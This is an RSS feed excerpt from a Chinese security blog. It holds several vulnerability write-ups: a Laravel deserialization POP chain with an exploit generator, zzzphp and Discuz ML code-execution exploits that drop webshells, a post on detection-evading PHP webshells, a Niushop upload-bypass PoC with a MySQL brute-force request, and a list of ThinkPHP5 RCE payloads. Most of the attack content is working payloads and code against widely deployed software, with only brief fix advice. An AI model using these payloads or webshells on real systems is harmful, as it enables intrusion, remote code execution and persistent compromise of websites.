		<pubDate>Thu, 22 Aug 2019 07:47:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[pop]]></category>
		<guid isPermaLink="false">/?p=843</guid>

					<description><![CDATA[在@mochazz师傅的博客里看到了Laravel的反序列化pop链，记录一下。 环境准备 phpstudy php7.2.10 phpstorm composer 搭建环境 配置...]]></description>
										<content:encoded><![CDATA[<p>在@mochazz师傅的博客里看到了<span class="wpcom_tag_link"><a href="/tags/laravel" title="Laravel" target="_blank">Laravel</a></span>的反序列化<span class="wpcom_tag_link"><a href="/tags/pop" title="pop" target="_blank">pop</a></span>链，记录一下。</p>
<h1>环境准备</h1>
<ol>
<li>phpstudy</li>
<li>php7.2.10</li>
<li>phpstorm</li>
<li>composer</li>
</ol>
<h1>搭建环境</h1>
<h2>配置composer</h2>
<p><a href="https://mirrors.aliyun.com/composer/composer.phar">下载composer.phar</a> 放到php的目录下面，给php配置好环境变量。</p>
<p>在 <code>composer.phar</code> 同级目录下新建文件 <code>composer.bat</code> ：</p>
<pre><code class="language-sh ">D:phpStudyPHPTutorialphpphp-7.2.1-nts&gt; echo @php "%~dp0composer.phar" %*&gt;composer.bat
</code></pre>
<p>关闭当前的命令行窗口，打开新的命令行窗口进行测试：</p>
<pre><code class="language-sh ">C:UsersY4er&gt;composer -V
Composer version 1.9.0 2019-08-02 20:55:32
</code></pre>
<p>更换国内阿里源</p>
<pre><code class="language-bash ">composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
</code></pre>
<h2>配置项目</h2>
<p>创建laravel项目，注意选择版本</p>
<p><img src="https://y4er.com/img/uploads/20190822140805.png" alt="20190822140805" /></p>
<p>创建Demo控制器</p>
<pre><code class="">E:codephplaravel58&gt;php artisan make:controller DemoController
Controller created successfully.
</code></pre>
<p>配置路由</p>
<p>routes/web.php</p>
<pre><code class="language-php ">&lt;?php
use AppHttpControllersDemoController;

Route::get("/", "DemoController@demo");
</code></pre>
<p>添加 DemoController 控制器的demo方法，代码如下：</p>
<p><img src="/wp-content/uploads/2019/08/20190822142029.png" alt="20190822142029" /></p>
<pre><code class="language-php ">&lt;?php

namespace AppHttpControllers;

class DemoController extends Controller
{
    public function demo()
    {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}
</code></pre>
<h1>pop链分析</h1>
<p>首先我们要知道 laravel 在反序列化<code>unserialize($code)</code>时，如果反序列化对象的类不存在，会尝试去自动加载这个类。</p>
<p>堆栈如下</p>
<pre><code class="language-php ">ClassLoader.php:444, ComposerAutoloadincludeFile()    //加载完之后包含类
ClassLoader.php:322, ComposerAutoloadClassLoader-&gt;loadClass() //加载类
DemoController.php:11, spl_autoload_call()  //对象类不存在 调用自动加载
DemoController.php:11, unserialize()        //反序列化传递过来的参数
DemoController.php:11, AppHttpControllersDemoController-&gt;demo()  //路由进入控制器
</code></pre>
<p>接着我们来看下整条pop链，@mochazz师傅的payload</p>
<pre><code class="language-http ">http://php.local/?c=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
</code></pre>
<p>用phpstorm打个断点来跟踪下。</p>
<p>整条pop链入口点利用的是类<code>IlluminateBroadcastingPendingBroadcast</code>的<code>__destruct</code>方法。</p>
<p><img src="/wp-content/uploads/2019/08/20190822143707.png" alt="20190822143707" /></p>
<p><code>$this-&gt;event</code>设置为<code>Dispatcher</code>类，然后进入<code>dispatch()</code>函数</p>
<p><code>vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php</code></p>
<p><img src="/wp-content/uploads/2019/08/20190822145626.png" alt="20190822145626" /></p>
<p>这里要满足if条件，看下<code>$this-&gt;commandShouldBeQueued($command)</code></p>
<pre><code class="language-php ">protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}
</code></pre>
<p>要$command实现<code>ShouldQueue</code>接口，找下</p>
<p><img src="/wp-content/uploads/2019/08/20190822150408.png" alt="20190822150408" /></p>
<p>@mochazz师傅用的是<code>IlluminateBroadcastingBroadcastEvent</code></p>
<p>然后进入<code>$this-&gt;dispatchToQueue($command)</code></p>
<p><img src="/wp-content/uploads/2019/08/20190822145801.png" alt="20190822145801" /></p>
<p>出现了<code>call_user_func</code>，这时候我们可以调用任意类的方法了，接下来寻找下可利用的类方法。</p>
<p>在类<code>MockeryLoaderEvalLoader</code>的<code>load</code>方法中有eval，并且参数可控。</p>
<p><img src="/wp-content/uploads/2019/08/20190822150655.png" alt="20190822150655" /></p>
<p>但是要绕过前面的if语句块，也就是让<code>class_exists($definition-&gt;getClassName(), false)</code>返回false。</p>
<pre><code class="language-php ">public function getClassName(){
    return $this-&gt;config-&gt;getName();
}
</code></pre>
<p>我们找一个含有<code>getName</code>方法且返回值可控的类，让其返回一个不存在的类名即可绕过if。</p>
<p><code>vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php</code> 这个类中有</p>
<pre><code class="language-php ">public function getName()
{
    return $this-&gt;name;
}
</code></pre>
<p>最后进入到<code>eval("?&gt;" . $definition-&gt;getCode());</code>，</p>
<pre><code class="language-php ">public function getCode()
{
    return $this-&gt;code;
}
</code></pre>
<p><code>getCode()</code>依然可控，这个pop链就结束了。</p>
<h1>构造exp</h1>
<pre><code class="language-php ">&lt;?php

namespace IlluminateBroadcasting {
    class PendingBroadcast
    {
        protected $event;
        protected $events;

        public function __construct($events, $event)
        {
            $this-&gt;events = $events;
            $this-&gt;event = $event;
        }
    }
}

namespace IlluminateBus {
    class Dispatcher
    {
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this-&gt;queueResolver = $queueResolver;
        }
    }
}

namespace IlluminateBroadcasting {
    class BroadcastEvent
    {
        public $connection;

        public function __construct($connection)
        {
            $this-&gt;connection = $connection;
        }
    }
}


namespace MockeryGenerator {
    class MockDefinition
    {
        protected $config;
        protected $code = '&lt;?php phpinfo();?&gt;';

        public function __construct($config)
        {
            $this-&gt;config = $config;
        }
    }
}

namespace MockeryGenerator {
    class MockConfiguration
    {
        protected $name = '1234';
    }
}

namespace MockeryLoader {
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {

        }
    }
}

namespace {
    $Mockery = new MockeryLoaderEvalLoader();
    $queueResolver = array($Mockery, "load");
    $MockConfiguration = new MockeryGeneratorMockConfiguration();
    $MockDefinition = new MockeryGeneratorMockDefinition($MockConfiguration);
    $BroadcastEvent = new IlluminateBroadcastingBroadcastEvent($MockDefinition);
    $Dispatcher = new IlluminateBusDispatcher($queueResolver);
    $PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($Dispatcher, $BroadcastEvent);
    echo urlencode(serialize($PendingBroadcast));
}
?&gt;
</code></pre>
<h1>参考链接</h1>
<ol>
<li><a href="https://mochazz.github.io/2019/08/05/Laravel5.8.x反序列化链/#POP链1">Laravel5.8.x反序列化链</a></li>
<li><a href="https://xz.aliyun.com/t/5866">Laravel mockery组件反序列化POP链分析</a></li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>zzzphp 远程代码执行审计</title>
		<link>/audit/841.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 21 Aug 2019 15:33:57 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rce]]></category>
		<guid isPermaLink="false">/?p=841</guid>

					<description><![CDATA[又看到了cnvd中的一个有趣的洞！ zzzphp zzzphp是一款php语言开发的免费建站系统，以简单易上手的标签、安全的系统内核、良好的用户体验为特点，是站长建站的最佳选择。 ...]]></description>
										<content:encoded><![CDATA[<p>又看到了cnvd中的一个有趣的洞！</p>
<h1>zzzphp</h1>
<blockquote><p>
  zzzphp是一款php语言开发的免费建站系统，以简单易上手的标签、安全的系统内核、良好的用户体验为特点，是站长建站的最佳选择。
</p></blockquote>
<p>晚上8点，做完作业发现cnvd报了一个<a href="https://www.cnvd.org.cn/flaw/show/CNVD-2019-21998">命令执行</a>，本着两天不看代码看不懂的精神赶紧再来看下审计。</p>
<h1>产生原因</h1>
<p>zzzphp的模板是通过自写函数来进行解析的，过滤参数不严谨导致可以执行任意php代码。</p>
<h1>漏洞分析</h1>
<p>程序入口<code>index.php</code>引入<code>require 'inc/zzz_client.php';</code></p>
<p>E:\code\php\zzzphp\inc\zzz_client.php:56</p>
<pre><code class="language-php "> require 'zzz_template.php';
 if (conf('webmode')==0) error(conf('closeinfo'));
 $location=getlocation();
</code></pre>
<p>引入模板解析类并通过<code>getlocation()</code>使url和模板关联起来。</p>
<p>91行：当访问<code>http://127.0.0.1/search/</code> 时使用search模板</p>
<pre><code class="language-php ">case 'search':
    $tplfile= TPL_DIR . 'search.html'; 
</code></pre>
<p>157行</p>
<pre><code class="language-php ">$parser = new ParserTemplate();
$zcontent = $parser-&gt;parserCommom($zcontent); // 解析模板
</code></pre>
<p>实例化解析模板类，调用<code>parserCommom()</code>方法，跟进</p>
<p>inc/zzz_template.php</p>
<pre><code class="language-php ">public function parserCommom($zcontent)
    {
        $zcontent = $this-&gt;parserSiteLabel($zcontent); // 站点标签
        $zcontent = $this-&gt;ParseInTemplate($zcontent); // 模板标签
        $zcontent = $this-&gt;parserConfigLabel($zcontent); //配置表情
        $zcontent = $this-&gt;parserSiteLabel($zcontent); // 站点标签
        $zcontent = $this-&gt;parserCompanyLabel($zcontent); // 公司标签
        $zcontent = $this-&gt;parserUser($zcontent); //会员信息
        $zcontent = $this-&gt;parserlocation($zcontent); // 站点标签
        $zcontent = $this-&gt;parserLoopLabel($zcontent); // 循环标签      
        $zcontent = $this-&gt;parserContentLoop($zcontent); // 指定内容
        $zcontent = $this-&gt;parserbrandloop($zcontent);
        $zcontent = $this-&gt;parserGbookList($zcontent);
        $zcontent = $this-&gt;parserLabel($zcontent); // 指定内容
        $zcontent = $this-&gt;parserPicsLoop($zcontent); // 内容多图
        $zcontent = $this-&gt;parserad($zcontent);
        $zcontent = parserPlugLoop($zcontent);
        $zcontent = $this-&gt;parserOtherLabel($zcontent);
        $zcontent = $this-&gt;parserIfLabel($zcontent); // IF语句
        $zcontent = $this-&gt;parserNoLabel($zcontent);
        return $zcontent;
    }
</code></pre>
<p>可以看到这些是zzzphp模板解析，并且使用了自定义模板语句，跟进<code>$this-&gt;parserIfLabel()</code>函数</p>
<pre><code class="language-php ">public function parserIfLabel($zcontent)
{
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if (preg_match_all($pattern, $zcontent, $matches)) {
        $count = count($matches[0]);
        for ($i = 0; $i &lt; $count; $i++) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[1][$i];
            $ifstr = danger_key($ifstr);
            $ifstr = str_replace('=', '==', $ifstr);
            $ifstr = str_replace('&lt;&gt;', '!=', $ifstr);
            $ifstr = str_replace('or', '||', $ifstr);
            $ifstr = str_replace('and', '&amp;&amp;', $ifstr);
            $ifstr = str_replace('mod', '%', $ifstr);
            //echop( $ifstr);
            @eval('if(' . $ifstr . '){$flag="if";}else{$flag="else";}');
            ... 省略
            return $zcontent;
        }
    }
}
</code></pre>
<p>看到了eval函数，并且有变量<code>$ifstr</code>，如果它可控，那么我们就可以执行任意代码。</p>
<p>看下他是怎么过滤的，<code>preg_match_all</code>匹配正则，要满足以下格式</p>
<pre><code class="language-php ">{if:条件}
代码
{end if}
</code></pre>
<p>然后经过一个<code>danger_key()</code>函数，跟进</p>
<p>inc/zzz_main.php</p>
<pre><code class="language-php ">function danger_key( $s , $len=255) {
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','del','encrypt','upload','db','$','system','exec','shell','popen','eval');   
    $s = str_ireplace($danger,"*",$s);
    return $s;
}
</code></pre>
<p>可以看到使用<code>str_ireplace()</code>替换了危险关键字，不过只是替换了一次，可以双写绕过。</p>
<p>到目前为止，整个漏洞的构造链已经很清晰了。</p>
<p>修改模板 -> 构造恶意if语句块 -> 访问 <code>http://localhost/search/</code>触发代码执行</p>
<h1>exp构造</h1>
<ul>
<li>问题一：上文提到了可以用双写绕过，但是关键字会被替换成一个<code>*</code>，我们可以重新用str_replace替换回来</p>
</li>
<li>
<p>问题二：<code>$</code>被替换，没办法用双写绕过，我们用<code>get_defined_vars()</code>来构造，参考 <a href="https://y4er.com/post/apache-nginx-webshell/">PHP利用Apache、Nginx的特性实现免杀Webshell</a></p>
</li>
</ul>
<p>放一个我的构造的exp</p>
<p>后台 &#8211; 模板管理 &#8211; 修改search.html，添加一行</p>
<pre><code class="language-php ">{if:1)file_put_contents(str_replace('*','','Y4er.pphphp'),str_replace('*','','&lt;?pphphp evevalal(ggetet_defined_vars()[_PPOSTOST][1]);'));//}{end if}
</code></pre>
<p>然后访问<code>http://localhost/search/</code> 然后会在 <code>http://localhost/search/Y4er.php</code></p>
<h1>修复建议</h1>
<p>使用<code>preg_replace</code>过滤关键字而不是<code>str_ireplace()</code>，严格控制用户输入。</p>
<h1>写在文后</h1>
<p>需要登录后台，算是比较鸡肋，不过cnvd还爆了这个版本的注入，有兴趣的师傅可以看一下。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Discuz Ml v3.x 代码执行分析</title>
		<link>/audit/671.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 11 Jul 2019 14:34:52 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[dz]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=671</guid>

					<description><![CDATA[昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。 exp 修改Cookie中的xxxx_language字段为以下内容即可 %27.+file_put_contents%28...]]></description>
										<content:encoded><![CDATA[<p>昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span></h2>
<p>修改Cookie中的xxxx_language字段为以下内容即可</p>
<pre><code class="language-php ">%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
</code></pre>
<p>访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8_Dhrw9bIXKJkSaef761asXXaa.png" alt="20190711205534.png" /></p>
<h2>定位漏洞位置</h2>
<p>解码exp</p>
<pre><code class="">'.+file_put_contents('shell.php',urldecode('&lt;?php+ eval($_GET["a1"]);?&gt;')).'
</code></pre>
<p>修改exp为<code>_language=1.1.1;</code>使其报错。</p>
<ul>
<li><img src="https://ae01.alicdn.com/kf/UTB8Hrllw__IXKJkSalU761BzVXat.png" alt="20190711210101.png" /></li>
</ul>
<p>定位到653行</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8TMXHw1vJXKJkSajh7637aFXaX.png" alt="20190711211456.png" /></p>
<p>关键代码644行</p>
<pre><code class="language-php ">$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p><code>cachefile</code>变量是缓存文件，将其写入到<code>/data/template/</code>目录下，并且由<code>DISCUZ_LANG</code>拼接，追踪下<code>DISCUZ_LANG</code>的值<br />
2088-2096行</p>
<pre><code class="language-php ">global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/         return strtoupper(DISCUZ_LANG) . '_UTF8';
}
</code></pre>
<p>可以看到<code>$_G['config']['output']['language']</code>作为<code>DISCUZ_LANG</code>的值</p>
<p>全局搜索<code>['language']</code></p>
<p>source/class/discuz/discuz_application.php 305行，发现是从cookie中拿到language的值</p>
<p><img src="https://ae01.alicdn.com/kf/UTB86WNtw9bIXKJkSaef761asXXaB.png" alt="20190711212635.png" /></p>
<p>那么到这里整个漏洞的流程就很明显了，cookie中<code>language</code>参数可控导致<code>DISCUZ_LANG</code>可控，从而导致<code>cachefile</code>的文件名可被注入代码，最终<code>include_once</code>包含一下导致了造成<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>。</p>
<p>phpinfo验证</p>
<p><code>Ov1T_2132_language='.phpinfo().';</code></p>
<p><img src="https://ae01.alicdn.com/kf/UTB8HphiwYnJXKJkSahG760hzFXaN.png" alt="20190711214222.png" /></p>
<h2>修复建议</h2>
<p>截止到本文发布之前，补丁还没有出来。</p>
<p>建议修改source/function/function_core.php 644行为</p>
<pre><code class="language-php ">/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p>删除可控变量</p>
<h2>写在文后</h2>
<p>其实从漏洞点的注释上来看就知道这是一个未完成的部分，毕竟还是<code>TODO</code>，开发人员得背锅。不过我怎么没有这种好运气呢，呜呜呜😭</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP利用Apache、Nginx的特性实现免杀Webshell</title>
		<link>/tools/646.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 14:33:27 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[过狗]]></category>
		<category><![CDATA[过狗一句话]]></category>
		<guid isPermaLink="false">/?p=646</guid>

					<description><![CDATA[get_defined_vars()、getallheaders()是两个特性函数，我们可以通过这两个函数来构造我们的webshell。 前几天看到的，一直忘记写，填坑。 &#60;...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block md-focus" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span>、<span spellcheck="false"><code>getallheaders()</code></span>是两个特性函数，我们可以通过这两个函数来构造我们的<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>。 <span class="md-expand">前几天看到的，一直忘记写，填坑。</span> <span class="md-comment" spellcheck="false">&lt;!&#8211;more&#8211;&gt;</span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">环境</span></th>
<th><span class="td-span" contenteditable="true">函数</span></th>
<th><span class="td-span" contenteditable="true">用法</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">nginx</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span></span></td>
<td><span class="td-span" contenteditable="true">返回由所有已定义变量所组成的数组</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">apache</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>getallheaders()</code></span></span></td>
<td><span class="td-span" contenteditable="true">获取全部 HTTP 请求头信息</span></td>
</tr>
</tbody>
</table>
</figure>
<h2 class="md-end-block md-heading" contenteditable="true">apache环境</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(next(getallheaders())); 
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg" /></span></p>
<h2 class="md-end-block md-heading" contenteditable="true">apache和nginx环境通用</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(implode(reset(get_defined_vars())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg" /></span> 另外一种通过执行伪造的sessionid值，进行任意代码执行。</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(hex2bin(session_id(session_start())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg" /></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>706870696e666f28293b</code></span>这个是<span spellcheck="false"><code>phpinfo();</code></span>的hex编码。</p>
<h2 class="md-end-block md-heading" contenteditable="true">给<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>加密码</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php eval(get_defined_vars()['_GET']['cmd']);?&gt;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Niushop最新版 Getshell</title>
		<link>/audit/637.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 07 Jan 2019 15:42:25 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=637</guid>

					<description><![CDATA[Niushop开源商城采用thinkphp5.0+MySQL开发语言开发,完全开源商城系统,可以用于企业,个人建立自己的网上免费商城,支持开源微信商城,开源小程序,开源新零售。 下...]]></description>
										<content:encoded><![CDATA[<p>Niushop开源商城采用thinkphp5.0+MySQL开发语言开发,完全开源商城系统,可以用于企业,个人建立自己的网上免费商城,支持开源微信商城,开源小程序,开源新零售。</p>
<p>下载链接：<a href="http://www.niushop.com.cn/download.html">http://www.niushop.com.cn/download.html</a> Version：单商户 2.2</p>
<h2 id="安装爆破mysql密码"><i class="iconfont icon-link"></i>安装爆破MySQL密码</h2>
<div class="highlight">
<div class="chroma language-http">
<pre class="lang:default decode:true ">GET /niushop/install.php?action=true&amp;dbserver=127.0.0.1&amp;dbpassword=root2&amp;dbusername=root&amp;dbname=niushop_b2c HTTP/1.1
Host: 127.0.0.1
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Referer: http://127.0.0.1/niushop/install.php?refresh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: action=db
Connection: close</pre>
<p>&nbsp;</p>
</div>
</div>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fyy28t2plqj30z40rktbg.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fyy28t2plqj30z40rktbg.jpg" alt="" /></a></p>
<p>爆破成功返回1，密码错误返回0</p>
<h2 id="getshell"><i class="iconfont icon-link"></i><span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fyy2qoxqbmj310i0n2q4h.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fyy2qoxqbmj310i0n2q4h.jpg" alt="" /></a></p>
<p>上传图片只做了前端校验，抓包改后缀即可绕过。</p>
<p>对文件内容做了检查，文件大小不能过大或过小，合成马最好放到中间。</p>
<p>请求包截图，删除不必要的参数仍旧能够上传。</p>
<p><a class="fancybox" href="https://ws1.sinaimg.cn/large/006xriynly1fyy30j1claj30z40rkdki.jpg" data-fancybox="gallery" data-caption=""><img src="https://ws1.sinaimg.cn/large/006xriynly1fyy30j1claj30z40rkdki.jpg" alt="" /></a></p>
<p>所以导致<strong>前台getshell</strong></p>
<h2 id="poc"><i class="iconfont icon-link"></i>PoC</h2>
<div class="highlight">
<div class="chroma language-python">
<pre class="lang:default decode:true ">import requests

session = requests.Session()

paramsGet = {"s":"/wap/upload/photoalbumupload"}
paramsPost = {"file_path":"upload/goods/","album_id":"30","type":"1,2,3,4"}
paramsMultipart = [('file_upload', ('themin.php', "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\x99c\xf8\x0f\x04\x00\x09\xfb\x03\xfd\xe3U\xf2\x9c\x00\x00\x00\x00IEND\xaeB`\x82&lt;? php phpinfo(); ?&gt;", 'application/octet-stream'))]
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/index.php?s=/admin/goods/addgoods","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate"}
cookies = {"action":"finish"}
response = session.post("http://127.0.0.1/index.php", data=paramsPost, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies)

print("Status code:   %i" % response.status_code)
print("Response body: %s" % response.content)</pre>
<p>&nbsp;</p>
</div>
</div>
<p>参考链接</p>
<ol>
<li><a href="https://xz.aliyun.com/t/3767">https://xz.aliyun.com/t/3767</a></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>thinkphp5框架缺陷导致远程代码执行</title>
		<link>/web/613.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 11 Dec 2018 11:45:30 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=613</guid>

					<description><![CDATA[&#160; /tp-5.1.24/public/index.php?s=index/\think\template\driver\file/write?cacheFile=she...]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-medium" src="https://ws1.sinaimg.cn/large/006xriynly1fy31j8s2yhj30oc0ouqk2.jpg" width="876" height="894" /></p>
<p>&nbsp;</p>
<pre class="lang:default decode:true ">/tp-5.1.24/public/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3E
</pre>
<pre class="lang:default decode:true ">1、?s=index/\think\Request/input&amp;filter=phpinfo&amp;data=1
2、?s=index/\think\Request/input&amp;filter=system&amp;data=id
3、?s=index/\think\template\driver\file/write&amp;cacheFile=shell.php&amp;content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&amp;content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1
6、?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
7、?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=1
8、?s=index/\think\Container/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=id
</pre>
<p><img loading="lazy" class="alignnone size-medium" src="https://ws1.sinaimg.cn/large/006xriynly1fy31lby3b1j31ew0h3t90.jpg" width="1832" height="615" /></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
